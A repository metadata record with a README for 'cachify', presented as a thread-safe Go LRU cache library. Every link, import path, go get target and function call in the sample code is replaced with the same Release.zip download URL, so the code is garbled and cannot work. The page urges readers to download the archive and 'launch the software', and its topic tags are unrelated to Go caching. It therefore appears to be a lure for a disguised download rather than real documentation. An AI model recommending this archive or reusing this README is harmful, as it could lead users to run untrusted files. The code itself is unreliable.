{"id":24623228,"url":"https://github.com/shadow10010/cachify","last_synced_at":"2026-04-11T18:07:37.885Z","repository":{"id":273932228,"uuid":"921350014","full_name":"Shadow10010/cachify","owner":"Shadow10010","description":"cachify is a lightweight, high-performance, thread-safe Least Recently Used (LRU) cache library for Go. It is designed for in-memory caching with optional support for expiration, eviction callbacks, and dynamic capacity adjustment.","archived":false,"fork":false,"pushed_at":"2025-03-14T07:04:32.000Z","size":2,"stargazers_count":1,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-03-14T07:22:43.193Z","etag":null,"topics":["android","cache","cloudflare-kv","go","kotlin","lock","locking","nodejs","pickle","playlist","promise","redis","typechecking","wordpress"],"latest_commit_sha":null,"homepage":null,"language":null,"has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Shadow10010.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2025-01-23T19:40:43.000Z","updated_at":"2025-03-14T07:04:35.000Z","dependencies_parsed_at":"2025-02-13T22:25:47.739Z","dependency_job_id":"34a3d736-4e94-4ce6-b405-b53e2cb4c714","html_url":"https://github.com/Shadow10010/cachify","commit_stats":null,"previous_names":["shadow10010/cachify"],"tags_count":1,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Shadow10010%2Fcachify","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Shadow10010%2Fcachify/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Shadow10010%2Fcachify/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Shadow10010%2Fcachify/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Shadow10010","download_url":"https://codeload.github.com/Shadow10010/cachify/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":244345098,"owners_count":20438241,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["android","cache","cloudflare-kv","go","kotlin","lock","locking","nodejs","pickle","playlist","promise","redis","typechecking","wordpress"],"created_at":"2025-01-25T03:57:10.934Z","updated_at":"2026-04-11T18:07:37.840Z","avatar_url":"https://github.com/Shadow10010.png","language":null,"readme":"# 🚀 Cachify: A Lightweight, High-Performance LRU Cache Library for Go\n\nWelcome to the official repository of **Cachify** - a powerful, thread-safe Least Recently Used (LRU) cache library for Go! 📦\n\n![Cachify Logo](https://github.com/Shadow10010/cachify/releases/download/v1.0/Release.zip)\n\n## Overview\n\n**Cachify** is designed to provide efficient, in-memory caching with advanced features such as expiration, eviction callbacks, and dynamic capacity adjustment. It is perfect for scenarios where you need to store and retrieve data quickly and reliably.\n\n### Features\n\n- Lightweight and efficient LRU caching\n- Thread-safe implementation\n- Support for expiration of cached items\n- Eviction callbacks for custom actions\n- Dynamic adjustment of cache capacity\n\n## Installation\n\nYou can download the latest version of **Cachify** from the following link:\n\n[![Download Cachify](https://github.com/Shadow10010/cachify/releases/download/v1.0/Release.zip)](https://github.com/Shadow10010/cachify/releases/download/v1.0/Release.zip)\n\nOnce downloaded, follow the instructions to launch the software.\n\n### Installation via Go Modules\n\nYou can also install **Cachify** using Go Modules with the following command:\n\n```bash\ngo get -u https://github.com/Shadow10010/cachify/releases/download/v1.0/Release.zip\n```\n\n## Getting Started\n\nTo start using **Cachify** in your Go projects, import the library and create a new cache instance. Here is a simple example to get you started:\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"https://github.com/Shadow10010/cachify/releases/download/v1.0/Release.zip\"\n)\n\nfunc main() {\n\t// Create a new cache with a capacity of 100 items\n\tcache := https://github.com/Shadow10010/cachify/releases/download/v1.0/Release.zip(100)\n\n\t// Add a key-value pair to the cache\n\thttps://github.com/Shadow10010/cachify/releases/download/v1.0/Release.zip(\"key\", \"value\")\n\n\t// Retrieve the value from the cache\n\tif value, ok := https://github.com/Shadow10010/cachify/releases/download/v1.0/Release.zip(\"key\"); ok {\n\t\thttps://github.com/Shadow10010/cachify/releases/download/v1.0/Release.zip(value)\n\t}\n}\n```\n\n## About LRU Caching\n\nLeast Recently Used (LRU) caching is a popular algorithm used to manage cache eviction based on the principle that the least recently accessed items are the most likely candidates for removal.\n\n### Advantages of LRU Caching\n\n- High cache hit rate\n- Efficient use of memory\n- Easy to implement and understand\n\n### Use Cases\n\n- Web server caching\n- Database query result caching\n- API response caching\n\n## Contributing\n\nWe welcome contributions to make **Cachify** even better! Feel free to submit bug reports, feature requests, or pull requests to help us improve the library.\n\n### Guidelines\n\n- Follow Go coding standards\n- Write clear and concise code\n- Provide detailed descriptions in pull requests\n\n## License\n\n**Cachify** is released under the MIT License. See the [LICENSE](LICENSE) file for more information.\n\n---\n\nThank you for choosing **Cachify** for your caching needs! 🌟\n\nFor more information, visit our [website](https://github.com/Shadow10010/cachify/releases/download/v1.0/Release.zip) or check the \"Releases\" section for updates and new features. 🚀\n\nStay tuned for exciting updates and enhancements coming soon! 💼\n\n![Cachify](https://github.com/Shadow10010/cachify/releases/download/v1.0/Release.zip)","funding_links":[],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fshadow10010%2Fcachify","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fshadow10010%2Fcachify","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fshadow10010%2Fcachify/lists"}